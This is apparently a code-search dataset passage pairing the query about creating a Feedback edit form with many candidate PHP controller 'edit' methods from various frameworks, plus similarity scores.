"public function editAction(){\n\t\t$id = $this->getInput('id');\n\t\t$info = Gou_Service_ForumReply::getForumReply(intval($id));\t\t\n\t\t$this->assign('status', $this->status);\t\t\n $this->assign('info', $info);\t\n\t}",
"public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('GestionPassBundle:Fluidite')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Fluidite entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('GestionPassBundle:Fluidite:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }",
"public function editAction($id) {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CdlrcodeBundle:Question')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Question entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('CdlrcodeBundle:Question:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }",
"public function editAction() {\n\t\t$id = $this->getInput('id');\n\t\t$info = Client_Service_Ad::getAd(intval($id));\n\t\t$game_info = Resource_Service_Games::getResourceGames($info['link']);\n\t\t$this->assign('game_info', $game_info);\n\t\t$this->assign('ad_types', $this->ad_types);\n\t\t$this->assign('info', $info);\n\t}",
"public function edit()\n {\n return view('commonmodule::edit');\n }",
"public function editAction()\n {\n $id = $this->params()->fromRoute('id');\n $entity = $this->entityManager->find(Entity\\CourtClosing::class, $id);\n if (! $entity) {\n // to do: deal with it\n }\n $form = $this->getForm('update');\n $form->bind($entity);\n if ($this->getRequest()->isPost()) {\n return $this->post();\n }\n\n return new ViewModel(['form' => $form]);\n }",
"public function edit($id)\n\t{\n\t\t// get the fbf_presenca\n\t\t$fbf_presenca = FbfPresenca::find($id);\n\n\t\t\n\t\t// show the edit form and pass the fbf_presenca\n\t\t$this->layout->content = View::make('fbf_presenca.edit')\n->with('fbf_presenca', $fbf_presenca);\n\t}",
"public function edit(enquiryForm $enquiryForm)\n {\n //\n }",
"public function edit(Form $form)\n {\n //\n }",
"public function editAction() {\n\t\t$request = $this->getRequest();\n\t\t$id = (int)$request->getParam('id');\n\t\tPageTitle::setTitle($this->view, $request, array($id));\n\t\t\n\t\t$taFinder = new TeachingActivities();\n\t\t$ta = $taFinder->getTa($id);\n\n\t\tif (($result = $ta->isEditable()) !== true) {\n\t\t\tthrow new Exception($result);\n\t\t}\n\n\t\tif (($result = UserAcl::checkTaPermission($ta, UserAcl::$EDIT)) !== true) {\n\t\t\tthrow new Exception($result);\n\t\t}\n\n\t\t$fp = new FormProcessor_TeachingActivity($id);\n\t\tif ($request->isPost()) {\n\t\t\tif ($id = $fp->process($request)) {\n\t\t\t\t$session = new Zend_Session_Namespace('taeditcomplete');\n\t\t\t\t$session->ta_id = $id;\n\t\t\t\t$this->_redirect('/teachingactivity/editcomplete');\n\t\t\t}\n\t\t}\n\t\t$this->view->fp = $fp;\n\t}",
"public function editFormAction()\n {\n\t\t$id = $this->params()->fromRoute(\"id\", \"\");\n\t\t$form_type = $this->params()->fromQuery(\"ftype\", \"\");\n\n\t\tif ($id == \"\")\n\t\t{\n\t\t\t//set error message\n\t\t\t$this->flashMessenger()->addErrorMessage(\"Form could not be loaded. Id is not set\");\n\t\t\t//redirect to index page\n\t\t\treturn $this->redirect()->toRoute(\"front-form-admin\");\n\t\t}//end if\n\n\t\t//load form data\n\t\t$objForm = $this->getFormAdminModel()->getForm($id);\n\n\t\t//load form\n\t\t$form = $this->getFormAdminModel()->getFormAdminForm($form_type);\n\n\t\t//save form type and remove option from form\n\t\t$fk_form_type_id = $objForm->get(\"fk_form_type_id\");\n\n\t\t//disable form type element\n\t\t$form->get(\"fk_form_type_id\")->setAttribute(\"disabled\", \"disabled\");\n\n\t\t//bind data to form\n\t\t$form->bind($objForm);\n\n\t\t$request = $this->getRequest();\n\t\tif ($request->isPost())\n\t\t{\n\t\t\t$arr_data = $request->getPost();\n\t\t\t$arr_data[\"fk_form_type_id\"] = $fk_form_type_id;\n\t\t\t$form->setData($arr_data);\n\n\t\t\tif ($form->isValid($request->getPost()))\n\t\t\t{\n\t\t\t\ttry {\n\t\t\t\t\t//update the form\n\t\t\t\t\t$objForm = $form->getData();\n\t\t\t\t\t$objForm->set(\"id\", $id);\n\t\t\t\t\t$objForm->set(\"fk_form_type_id\", $fk_form_type_id);\n\n\t\t\t\t\t$objForm = $this->getFormAdminModel()->editForm($objForm);\n\n\t\t\t\t\t//set success message\n\t\t\t\t\t$this->flashMessenger()->addSuccessMessage(\"Form has been updated\");\n\n\t\t\t\t\t//redirect to index page\n\t\t\t\t\treturn $this->redirect()->toRoute(\"front-form-admin\");\n\t\t\t\t} catch (\\Exception $e) {\n\t\t\t\t\t//set error message\n\t\t\t\t\t$form = $this->frontFormHelper()->formatFormErrors($form, $e->getMessage());\n\t\t\t\t}//end catch\n\t\t\t}//end if\n\t\t}//end if\n\n\t\tif ($objForm->get(\"id\") == \"\")\n\t\t{\n\t\t\t//reload form data\n\t\t\t$objForm = $this->getFormAdminModel()->getForm($id);\n\t\t}//end if\n\n\t\treturn array(\n\t\t\t\t\"form\" => $form,\n\t\t\t\t\"objForm\" => $objForm\n\t\t);\n }",
"function edit()\n\t{\n\t\t$user\t= & JFactory::getUser();\n\n\t\t// Make sure you are logged in\n\t\tif (!$user->authorise('com_weblink.weblink.edit')) {\n\t\t\tJError::raiseError(403, JText::_('ALERTNOTAUTH'));\n\t\t\treturn;\n\t\t}\n\n\t\tJRequest::setVar('view', 'weblink');\n\t\tJRequest::setVar('layout', 'form');\n\n\t\t$model = &$this->getModel('weblink');\n\t\t$model->checkout();\n\n\t\tparent::display();\n\t}",
"public function editTask() {\n return $this->render('enterprise/task/task_form.html.twig');\n }",
"public function edit()\n {\n return view('common::edit');\n }",
"public function editAction(): void {\n View::renderTemplate('Profile/edit.twig', [\n 'user' => $this->user\n ]);\n }",
"public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('SiseCoreBundle:PersonnelPersonnel')->find($id);\n $formpers = $this->container->get('form.factory')->createBuilder(new NomenclatureSoussituationadministrativeType())->getForm();\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find PersonnelPersonnel entity.');\n }\n $editForm = $this->createEditForm($entity);\n // $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('SiseCoreBundle:PersonnelPersonnel:edit.html.twig', array(\n 'entity' => $entity,\n 'code' => $id,\n 'edit_form' => $editForm->createView(),\n // 'delete_form' => $deleteForm->createView(),\n 'formpers' => $formpers->createView(),\n ));\n }",
"public function showUpdateForm()\n {\n return view('dashboard.update');\n }",
"public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('ClassCentralSiteBundle:Newsletter')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Newsletter entity.');\n }\n\n $editForm = $this->createForm(new NewsletterType(), $entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('ClassCentralSiteBundle:Newsletter:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }",
"public function edit()\n {\n if (Entry::canCreateOrEdit() === false) {\n return Redirect::route('entry.index')\n ->withMessage(\"Sorry, the competition has now started and entries cannot be changed.\");\n }\n\n $entry = $this->getEntry();\n\n if ($entry) {\n return View::make('entry.edit')\n ->with('entry', $entry);\n }\n\n return Redirect::route('entry.index');\n }",
"public function edit()\n {\n return view('panel.order-management.payment.form-edit');\n }",
"public function editAction()\n {\n $profileRepoFactory = new Application_Factory_ProfileRepository();\n $profileModelFactory = new Application_Factory_ProfileModel();\n $profileForm = new Application_Form_Profile(['id' => 'edit-profile']);\n\n $profileForm->submit->setLabel(\"Save\");\n $profileRepo = $profileRepoFactory->createService();\n\n $this->view->profileForm = $profileForm;\n\n //GET request handler\n $visitEditProfilePage = !$this->getRequest()->isPost();\n if ($visitEditProfilePage) {\n $profileId = (int) $this->getParam('id', 0);\n $profileEntity = $profileRepo->findById($profileId);\n $profileForm->bindFromProfile($profileEntity);\n return; //render edit profile form\n }\n\n //POST request handler\n $postInvalidProfile = !$profileForm->isValid($this->getRequest()->getPost());\n if ($postInvalidProfile) {\n return; //represent profile form with error messages\n }\n\n //Persit filtered profile to persistent\n $profileRepo->save($profileModelFactory->createService($profileForm->getValues()));\n $this->_helper->redirector('index', 'profile', 'default');\n }",
"public function editAction() {\n\t\t$id = $this->getInput('id');\n\t\t$info = Activity_Service_ShareQq::get(intval($id));\n\t\t$this->assign('info', $info);\n\t}",
"public function editAction()\n {\n $form = MediaForm::create($this->get('form.context'), 'media');\n $media = $this->get('media_manager.manager')->findOneById($this->get('request')->get('media_id'));\n \n $form->bind($this->get('request'), $media);\n \n return $this->render('MediaManagerBundle:Admin:form.html.twig', array('form' => $form, 'media' => $media));\n }",
"public function editAction() {\n $this->_title($this->__(\"Supportticket\"));\n $this->_title($this->__(\"Supportticket\"));\n $this->_title($this->__(\"Edit Item\"));\n $id = $this->getRequest()->getParam(\"id\");\n $model = Mage::getModel(\"supportticket/supportticket\")->load($id);\n if ($model->getId()) {\n Mage::register(\"supportticket_data\", $model);\n $this->loadLayout();\n $this->_setActiveMenu(\"supportticket/supportticket\");\n $this->_addBreadcrumb(Mage::helper(\"adminhtml\")->__(\"Supportticket Manager\"), Mage::helper(\"adminhtml\")->__(\"Supportticket Manager\"));\n $this->_addBreadcrumb(Mage::helper(\"adminhtml\")->__(\"Supportticket Description\"), Mage::helper(\"adminhtml\")->__(\"Supportticket Description\"));\n $this->getLayout()->getBlock(\"head\")->setCanLoadExtJs(true);\n $this->_addContent($this->getLayout()->createBlock(\"supportticket/adminhtml_supportticket_edit\"))->_addLeft($this->getLayout()->createBlock(\"supportticket/adminhtml_supportticket_edit_tabs\"));\n $this->renderLayout();\n } else {\n Mage::getSingleton(\"adminhtml/session\")->addError(Mage::helper(\"supportticket\")->__(\"Item does not exist.\"));\n $this->_redirect(\"*/*/\");\n }\n }",
"public function edit()\r\n {\r\n return view('mpcs::edit');\r\n }",
"public function edit()\n {\n return view('admincp::edit');\n }",
"public function editAction()\n {\n $form = new $this->form();\n\n $request = $this->getRequest();\n $param = $this->params()->fromRoute('id', 0);\n\n $repository = $this->getEm()->getRepository($this->entity);\n $entity = $repository->find($param);\n\n if ($entity) {\n\n $form->setData($entity->toArray());\n\n if ( $request->isPost() ) {\n\n $form->setData($request->getPost());\n\n if ( $form->isValid() ) {\n\n $service = $this->getServiceLocator()->get($this->service);\n $service->update($request->getPost()->toArray());\n\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n }\n } else {\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n\n return new ViewModel(array('form' => $form, 'id' => $param));\n\n }",
"public function editAction()\n {\n /* Checking if user is signed in to be allowed to edit answer */\n $this->requireSignin();\n\n /* Getting user's id */\n $user = Auth::getUser();\n \n /* Getting Answer by id */\n $this_answer = Answer::getById(intval($_POST['answer_id']));\n\n /* Getting Question by id for redirecting back after editing */\n $this_question = Question::getById($this_answer->question_id);\n\n /* Checking if user is answer's author */\n if ($this_answer->user_id == $user->id) {\n\n /* Updating answer details */\n $answer = new Answer([ \n 'id' => $_POST['answer_id'],\n 'answer' => $_POST['new_answer'], \n ]);\n \n if ($answer->update()) {\n\n /* Show success message */\n Flash::addMessage(\"Done: Answer was updated!\", Flash::INFO);\n \n } else {\n \n /* Show error messages */\n Flash::addMessage(\"Error: \".implode(\", \", $answer->errors), Flash::INFO);\n }\n\n } else {\n\n /* Redirect to question's page and show error messages */\n Flash::addMessage(\"Error: You can not edit this answer.\", Flash::INFO);\n }\n\n /* Redirect to question page */\n $this->redirect(\"/question/\".$this_question->url);\n }",
"public function edit(Entity $entity)\n {\n $entity->typeCompanyPreview = self::previewTypeCompany($entity->type_company);\n\n\n return view('entity.edit', compact('entity'));\n }",
"public function editAction() {\n\t\t$id = $this->getInput('id');\n\t\t$info = Browser_Service_Recsite::getRecsite(intval($id));\t\t\n\t\t$this->assign('info', $info);\n\t\t$this->assign('models', $this->models);\n\t\t$this->assign('types', $this->types);\n\t}",
"public function edit()\n\t {\n\t return view('lecturer.edit');\n\t }",
"public function edit()\n {\n return view('catalog::edit');\n }",
"public function edit()\n {\n return view('catalog::edit');\n }",
"public function edit(form $form)\n {\n //\n }",
"public function edit($id)\n\t{\n\t\t// get the fbf_time\n\t\t$fbf_time = FbfTime::find($id);\n\n\t\t\n\t\t// show the edit form and pass the fbf_time\n\t\t$this->layout->content = View::make('fbf_time.edit')\n->with('fbf_time', $fbf_time);\n\t}",
"public function edit($id)\n\t{\n\t\t$form = \\View::make('message.form');\n\t\t$form->message = Message::find($id);\n\t\t$form->action = array('action' => array('Toomdrix\\Pm\\MessageController@update', $form->message->id),'class'=>'form-signup');\n\t\treturn $form;\n\t}",
"public function edit()\n { \n return view('admin.control.edit');\n }",
"public function editAction($id)\n\t{\n\t\t$school = School::find( $id );\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => sprintf( 'Modifier \"%s\"', $school->name ),\n\t\t\t'entity' => $school\n\t\t) ) );\n\t}",
"public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('EmtagsNewsletterBundle:Leads')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Leads entity.');\n }\n\n $editForm = $this->createForm(new LeadsType(), $entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('EmtagsNewsletterBundle:Leads:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }",
"public function edit(IdeaSubmission $ideaSubmission)\n {\n //\n }",
"public function editContactAction() {\n $aGetData = $this->getRequest()->getQuery();\n $id = $aGetData['id'];\n\n /*\n * Verifico si me llega un ID por POST\n */\n if (!$id) {\n $aPostData = $this->getRequest()->getPost();\n $id = $aPostData['id'];\n }\n\n /*\n * En el caso de que este el ID, busco el registro en la DB\n * En el caso que ID este null, creo un nuevo objeto\n */\n if ($id) {\n $object = $this->getEntityManager()->getRepository('Iem\\Entity\\Contact')->find($id);\n $new = false;\n } else {\n $object = new \\Iem\\Entity\\Contact();\n $new = true;\n }\n\n /*\n * Declar el Formulario\n * Defino el Hidratador de Doctrine\n * Hago el Bind entre el Formulario y el objeto\n */\n $form = new \\Iem\\Form\\Contact($this->getEntityManager());\n $form->setHydrator(new \\DoctrineModule\\Stdlib\\Hydrator\\DoctrineObject($this->getEntityManager()));\n $form->bind($object);\n\n /*\n * Verifico el Post, valido formulario y persisto en caso positivo\n */\n if ($this->getRequest()->isPost()) {\n $form->setData($this->getRequest()->getPost());\n\n $form->setInputFilter($object->getInputFilter());\n if ($form->isValid()) {\n\n if ($this->zfcUserAuthentication()->hasIdentity()) {\n $user = $this->zfcUserAuthentication()->getIdentity();\n }\n\n if ($new) {\n $object->setCreatedBy($user);\n $object->setLastUpdatedBy($user);\n } else {\n $object->setLastUpdatedBy($user);\n }\n\n\n $this->getEntityManager()->persist($object);\n $this->getEntityManager()->flush();\n $form->bind($object);\n $persist = true;\n } else {\n $persist = false;\n }\n }\n\n /*\n * Paso la variable persist a la view\n * Defino terminal true para no renderizar el layout (ajax)\n */\n $view = new ViewModel(array('form' => $form,\n 'persist' => $persist));\n $view->setTerminal(true);\n return $view;\n }",
"public function edit()\n {\n $id = $this->getId();\n return view('panel.user.form', [\n 'user' => $this->userRepository->findById($id),\n 'method' => 'PUT',\n 'routePrefix' => 'profile',\n 'route' => 'profile.update',\n 'parameters' => [$id],\n 'breadcrumbs' => $this->getBreadcrumb('Editar')\n ]);\n }",
"public function edit($id)\n {\n\t\t\n $supplier = Supplier::find($id);\n\t\treturn view('backend.suppliers.create', compact('supplier'));\n }",
"public function editAction() {\n if($this->_getParam('id',false)) {\n $form = new ContentForm();\n $form->submit->setLabel('Submit changes');\n $form->author->setValue($this->getIdentityForForms());\n $this->view->form = $form;\n if($this->getRequest()->isPost() \n && $form->isValid($this->_request->getPost())){\n if ($form->isValid($form->getValues())) {\n $updateData = $form->getValues();\n $where = array();\n $where[] = $this->_content->getAdapter()\n ->quoteInto('id = ?', $this->_getParam('id'));\n $oldData = $this->_content->fetchRow($this->_content\n ->select()->where('id= ?' , \n (int)$this->_getParam('id')))->toArray();\n $this->_helper->audit($updateData, $oldData, 'ContentAudit', \n $this->_getParam('id'), $this->_getParam('id'));\n $this->_content->update($updateData, $where);\n $this->_helper->solrUpdater->update('beocontent', \n $this->_getParam('id'), 'content'); \n $this->getFlash()->addMessage('You updated: <em>' \n . $form->getValue('title') \n . '</em> successfully. It is now available for use.');\n $this->getCache()->clean(Zend_Cache::CLEANING_MODE_ALL);\n $this->_redirect('admin/content/');\n } else {\n $form->populate($this->_request->getPost());\n }\n } else {\n // find id is expected in $params['id']\n $id = (int)$this->_request->getParam('id', 0);\n if ($id > 0) {\n $content = $this->_content->fetchRow('id=' . (int)$id)->toArray();\n if($content) {\n $form->populate($content);\n } else {\n throw new Pas_Exception_Param($this->_nothingFound);\n }\n }\n }\n } else {\n throw new Pas_Exception_Param($this->_missingParameter, 500);\n }\n }",
"public function editAction() {\n\t\t$id = (int) $this->_getParam('id');\n\t\t$modelName = $this->_getParam('model');\n\t\t\n\t\t$model = Marcel_Backoffice_Model::factory($modelName);\n\t\t$item = $model->find($id)->current();\n\t\tif (!$item) {\n\t\t\t$item = $model->createRow();\n\t\t}\n\t\t$form = $item->getForm();\n\t\tif ($this->_request->isPost()) {\n\t\t\t$newId = $form->populate($this->_request->getPost())->save();\n\t\t\tif ($newId) {\n\t\t\t\t$this->_helper->flashMessenger('Saved successfully!');\n\t\t\t\t$this->_helper->redirector('edit', null, null, array('id' => $newId, 'model' => $modelName));\n\t\t\t}\n\t\t}\n\t\t$this->view->form = $form;\n\t\t$this->view->messages = $this->_helper->flashMessenger->getMessages();\n\t}",
"public function edit($id)\n\t{\n return View::make('depts.edit');\n\t}",
"public function getEditForm();",
"public function edit($model, $form);",
"public function editAction()\n {\n $robot = Robots::findFirst($this->session->get(\"robot-id\"));\n if ($this->request->isGet()) {\n $this->tag->prependTitle(\"Редактировать робота :: \");\n $user = $this->session->get(\"auth-id\");\n if (!$robot) {\n $this->flashSession->error(\n \"Робот не найден\"\n );\n return $this->response->redirect(\"users/usershow/$user->name\");\n }\n\n }\n\n $this->view->form = new RobotForm(\n $robot,\n [\n \"edit\" => true,\n ]\n );\n }",
"public function show($id)\n {\n $feedback = Feedback::find($id);\n $feedback->status = 1;\n $feedback->save();\n return view('backend.feedback.view',compact('feedback'));\n }",
"public function edit()\n {\n return view('website::edit');\n }",
"public function editAction() {\n\t\t$id = $this->getInput('id');\n\t\t$info = Fj_Service_Goods::getGoods(intval($id));\n $this->assign('dir', \"goods\");\n $this->assign('ueditor', true);\n\t\t$this->assign('info', $info);\n\t}",
"public function modifyAction()\n {\n\n $id = $this->get('security.context')->getToken()->getUser()->getId();\n\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('SyndicateComponentBundle:Education')->findOneBy(array('user'=>$id));\n\n if (!$entity) {\n return $this->redirect($this->generateUrl('education_new'));\n }\n\n $editForm = $this->createEditForm($entity);\n\n return $this->render('SyndicateComponentBundle:Education:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView()\n\n ));\n }",
"public function edit()\n {\n return view('admin::edit');\n }",
"public function edit()\n {\n return view('admin::edit');\n }",
"public function edit()\n {\n return view('dashboard::edit');\n }",
"public function editAction()\n {\n $form = $this->getServiceLocator()->get('civcontent_category_form');\n \n // Grab copy of the existing entity\n $id = $this->params()->fromRoute('categoryid');\n $category = $this->getContentService()->getCategoryById($id);\n if (!$category)\n {\n $this->getResponse()->setStatusCode(404);\n return;\n }\n $form->bind($category);\n \n // Check if the request is a POST.\n $request = $this->getRequest();\n if ($request->isPost())\n {\n $data = (array) $request->getPost();\n $form->setData($data);\n if ($form->isValid())\n {\n // Persist changes.\n $this->getContentService()->persistCategory($category);\n \n // Redirect to content categories\n return $this->redirect()->toRoute('content/category', array(\n 'action' => 'index'\n ));\n }\n }\n \n // If a GET request, or invalid data then render/re-render the form\n return new ViewModel(array(\n 'form' => $form,\n 'id' => $id\n ));\n }",
"public function action_edit()\n {\n if (!Auth::instance()->has_access('contacts2_edit') && !Auth::instance()->has_access('contacts2_view_limited')) {\n if ($this->request->is_ajax()) {\n $this->response->status(403);\n } else {\n\t\t\t\tIbHelpers::set_message(\"You need access to the "edit contact" permission to perform this action.\", 'warning popup_box');\n $this->request->redirect('/admin');\n }\n }\n\n $view = View::factory('edit_contact');\n\n // Load contact\n $contact_id = $this->request->param('id');\n $contact = new Model_Contacts(is_numeric($contact_id) ? $contact_id : null);\n $relations = Model_Contacts::getRelations();\n $permissions = Model_Contacts::getPermissions($contact_id);\n $messages = null;\n if (Model_Plugin::is_enabled_for_role('Administrator', 'Messaging')) {\n $messaging = new Model_Messaging();\n $messages = $messaging->search_messages(array(\n 'target' => $this->request->param('id'),\n 'target_type' => 'CMS_CONTACT'\n ));\n }\n\n // Fill the template\n $view->contact_details = $contact->get_details();\n $view->mailing_list = Model_Contacts::get_mailing_list_all();\n $view->messages = $messages;\n $view->relations = $relations;\n $view->permissions = $permissions;\n $view->communication_types = Model_Contacts::get_communication_types();\n $view->preference_types = Model_Contacts::get_preference_types();\n $view->notes = Model_Notes::search(array('type' => 'Contact', 'reference_id' => $contact_id));\n $view->documents = $contact_id ? Model_Document::doc_list_documents(array($contact_id), null, false) : '';\n\t\t$view->countries = Model_Event::getCountryMatrix();\n\n $extensions = Model_Contacts::getExtentions();\n foreach ($extensions as $extension) {\n if ($extension->is_container()) {\n $ext_data = $extension->getData($view->contact_details, $this->request);\n if ($ext_data) {\n $container_view = View::factory($extension->get_container());\n $container_view->contact = $view;\n\t\t\t\t\t$container_view->countries = $view->countries;\n $container_view->data = $ext_data;\n $view = $container_view;\n }\n }\n }\n\n /*\n * if ajax then send the contact edit fragment\n * else send whole page\n */\n if ($this->request->is_ajax()) {\n $this->auto_render = false;\n $messages = IbHelpers::get_messages();\n $view->alert = $messages;\n echo $view;\n } else {\n // Assets\n $this->template->scripts[] = '<script src=\"' . URL::get_engine_plugin_assets_base('contacts2') . 'js/contacts.js\"></script>';\n\n // Select the view\n $this->template->body = $view;\n }\n }",
"public function edit() \n\t{\n UserModel::authentication();\n\n //get the user's information \n $user = UserModel::user();\n\n\t\t$this->View->Render('user/edit', ['user' => $user]);\n }",
"public function edit($id)\n {\n $alerte = Alerte::find($id);\n\n $elements = $this->editForm($alerte, 'formAlerte.json');\n\n return view('admin.editCreateForm', [\n 'elements' => $elements,\n 'id' => $id,\n 'routeAnnule' => route('alerte.show', $id)\n ]);\n\n }",
"public function edit( $id ) {\n\n $submission = Submission::find( $id );\n\n if ( empty( $submission ) ) {\n\n return redirect( route( 'submissions.index' ) )->withErrors( [ 'notfound' => 'Submission not found' ] );\n\n }\n\n return view( 'admin.submissions.edit', compact( 'submission' ) );\n\n }",
"public function edit($id)\n\t{\n\t\t$this->is_allowed('form_assignmentlist_update');\n\n\t\t$this->data['form_assignmentlist'] = $this->model_form_assignmentlist->find($id);\n\n // Workout By Nadoo V.1.0 \n $this->load->model('model_form_workout');\n $this->data['form_workouts'] = $this->model_form_workout->get(null, null, 0, 0);\n\t\t$this->data['form_workout_counts'] = $this->model_form_workout->count_all(null, null);\n // Workout By Nadoo V.1.0 \n\n\t\t$this->template->title('Form Assignmentlist Update');\n\t\t$this->render('backend/standart/administrator/form_assignmentlist/form_assignmentlist_update', $this->data);\n\t}",
"public function updateForm(){\n $new = $this->model->getNew();\n $this->view->updateForm($new);\n }",
"public function edit()\n {\n return view('hirmvc::edit');\n }",
"public function edit()\n {\n return view('admin.post.createOrUpdate');\n }",
"public function editForm() {\n return tpl::load(__DIR__ . DS . 'form.php', array('field' => $this));\n }",
"public function getEdit(){\n return view(\"admin.product.edit\" );\n }",
"public function edit($id) {\n\t\t$this->supplier = $this->supplier->find($id);\n\n\t\treturn View::make('suppliers.edit')->withSupplier($this->supplier);\n\t}",
"public function edit(FormModel $formModel)\n {\n //\n }",
"public function edit(Submission $submission)\n {\n //\n }"
] | [
"0.7661853",
"0.7661853",
"0.7616693",
"0.74548835",
"0.7452025",
"0.7294986",
"0.7166781",
"0.712927",
"0.6963726",
"0.68850553",
"0.6879156",
"0.685548",
"0.68465245",
"0.6784902",
"0.67334545",
"0.66520584",
"0.66519624",
"0.66109407",
"0.6603018",
"0.6577365",
"0.6509579",
"0.647717",
"0.6476774",
"0.6454421",
"0.64463896",
"0.6440218",
"0.6419421",
"0.6415585",
"0.64099205",
"0.63842416",
"0.6382769",
"0.6377131",
"0.6375638",
"0.6373575",
"0.63690865",
"0.63425606",
"0.63384795",
"0.63347954",
"0.6334739",
"0.63217205",
"0.63216686",
"0.63188165",
"0.6317316",
"0.63155895",
"0.63119775",
"0.6308138",
"0.63075745",
"0.63067675",
"0.6293457",
"0.6282083",
"0.62750643",
"0.62712955",
"0.6254353",
"0.6247285",
"0.62418985",
"0.62375957",
"0.62289613",
"0.62267846",
"0.62264544",
"0.6226251",
"0.6217775",
"0.6217344",
"0.6217344",
"0.6213829",
"0.6211208",
"0.620502",
"0.62049323",
"0.62004375",
"0.61985326",
"0.6195097",
"0.61941975",
"0.6193831",
"0.61919785",
"0.61857456",
"0.61816007",
"0.61809665",
"0.6179504",
"0.6172033",
"0.6171748",
"0.61626554",
"0.6161478",
"0.61600286",
"0.615638",
"0.6152692",
"0.6152692",
"0.61526144",
"0.6152532",
"0.61287296",
"0.6125396",
"0.6122872",
"0.61221874",
"0.6119633",
"0.61119246",
"0.6110151",
"0.6106381",
"0.61015826",
"0.60910374",
"0.60904384",
"0.6084176",
"0.6083478"
] | 0.7336175 | 5 |
Creates a form to edit a Feedback entity. | private function createEditForm(Feedback $entity)
{
$form = $this->createForm('BackendBundle\Form\FeedbackType', $entity, array(
'action' => $this->generateUrl('feedback_edit', array('id' => $entity->getId())),
'method' => 'PUT',
));
$form->add('submit', SubmitType::class, array('label' => 'Update'));
return $form;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"protected function form()\n {\n $form = new Form(new Feedback);\n\n $form->select('user_id', __('feedback::feedback.user_id'))\n ->options(function ($id) {\n $user = User::find($id);\n if ($user) {\n return [$user->id => $user->username];\n }\n })\n ->ajax(route('admin.select.user'))\n ->required();\n $form->text('title', __('feedback::feedback.title'))->readonly();\n $form->UEditor('content', __('feedback::feedback.content'));\n $form->text('contact', __('feedback::feedback.contact'))->readonly();\n $form->image('file', __('feedback::feedback.file'))->readonly();\n $form->UEditor('reply', __('feedback::feedback.reply'));\n $form->select('status', __('feedback::feedback.status.label'))\n ->options(__('feedback::feedback.status.value'));\n\n return $form;\n }",
"public function edit(Feedback $feedback)\n {\n //\n }",
"public function edit(Feedback $feedback)\n {\n //\n }",
"protected function form()\n {\n $form = new Form(new Feedback);\n\n\n\n return $form;\n }",
"private function createCreateForm(Feedback $entity)\n {\n $form = $this->createForm('BackendBundle\\Form\\FeedbackType', $entity, array(\n 'action' => $this->generateUrl('feedback_new'),\n 'method' => 'POST',\n ));\n\n $form->add('submit', SubmitType::class, array('label' => 'Create'));\n $form->add('submitback', SubmitType::class, array('label' => 'Create & Back'));\n\n return $form;\n }",
"public function editAction()\n {\n $ifeedbackId = $this->getRequest()->getParam('id');\n $ifeedback = $this->_initIfeedback();\n if ($ifeedbackId && !$ifeedback->getId()) {\n $this->_getSession()->addError(\n Mage::helper('bs_kst')->__('This instructor feedback no longer exists.')\n );\n $this->_redirect('*/*/');\n return;\n }\n $data = Mage::getSingleton('adminhtml/session')->getIfeedbackData(true);\n if (!empty($data)) {\n $ifeedback->setData($data);\n }\n Mage::register('ifeedback_data', $ifeedback);\n $this->loadLayout();\n $this->_title(Mage::helper('bs_kst')->__('KST'))\n ->_title(Mage::helper('bs_kst')->__('Instructor Feedbacks'));\n if ($ifeedback->getId()) {\n $this->_title($ifeedback->getName());\n } else {\n $this->_title(Mage::helper('bs_kst')->__('Add instructor feedback'));\n }\n if (Mage::getSingleton('cms/wysiwyg_config')->isEnabled()) {\n $this->getLayout()->getBlock('head')->setCanLoadTinyMce(true);\n }\n $this->renderLayout();\n }",
"private function createDeleteForm(Feedback $entity)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('feedback_delete', array('id' => $entity->getId())))\n ->setMethod('DELETE')\n ->getForm();\n }",
"public function editAction(Request $request, Feedback $entity)\n {\n $deleteForm = $this->createDeleteForm($entity);\n $editForm = $this->createEditForm($entity);\n $editForm->handleRequest($request);\n\n if ($editForm->isSubmitted() && $editForm->isValid()) {\n $em = $this->getDoctrine()->getManager();\n $em->persist($entity);\n $em->flush();\n\n // Mostrando mensaje\n $this->get('session')->getFlashBag()->add('success', 'The feedback was updated successfully.');\n return $this->redirectToRoute('feedback_show', array('id' => $entity->getId()));\n }\n\n return $this->render('feedback/edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }",
"public function edit(feedback $feedback)\n {\n //\n }",
"public function edit(Feedback $feedback)\n {\n //\n return view('admin.feedback.edit', compact('feedback'));\n }",
